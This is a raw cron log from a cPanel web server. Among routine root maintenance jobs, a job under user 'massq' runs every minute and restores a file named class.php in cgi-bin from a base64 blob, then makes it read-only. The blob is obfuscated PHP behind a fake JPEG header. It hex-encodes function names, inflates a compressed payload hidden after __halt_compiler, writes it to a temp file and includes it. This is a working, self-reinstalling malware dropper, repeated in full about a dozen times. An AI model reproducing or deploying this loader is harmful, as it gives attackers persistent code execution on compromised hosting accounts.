Nov 14 10:13:01 server CROND[14928]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:14:01 server CROND[15884]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:15:01 server CROND[16656]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 14 10:15:01 server CROND[16658]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 10:15:01 server CROND[16657]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 10:15:01 server CROND[16659]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:16:01 server CROND[17419]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:17:01 server CROND[17978]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:18:01 server CROND[18835]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:19:01 server CROND[19754]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:20:01 server CROND[20177]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 10:20:01 server CROND[20181]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 10:20:01 server CROND[20180]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 10:20:01 server CROND[20183]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 10:20:01 server CROND[20186]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:21:01 server CROND[21108]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:22:01 server CROND[21969]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:23:01 server CROND[22825]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:24:01 server CROND[23683]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:25:01 server CROND[24648]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 10:25:01 server CROND[24650]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 14 10:25:01 server CROND[24649]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 10:25:01 server CROND[24651]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
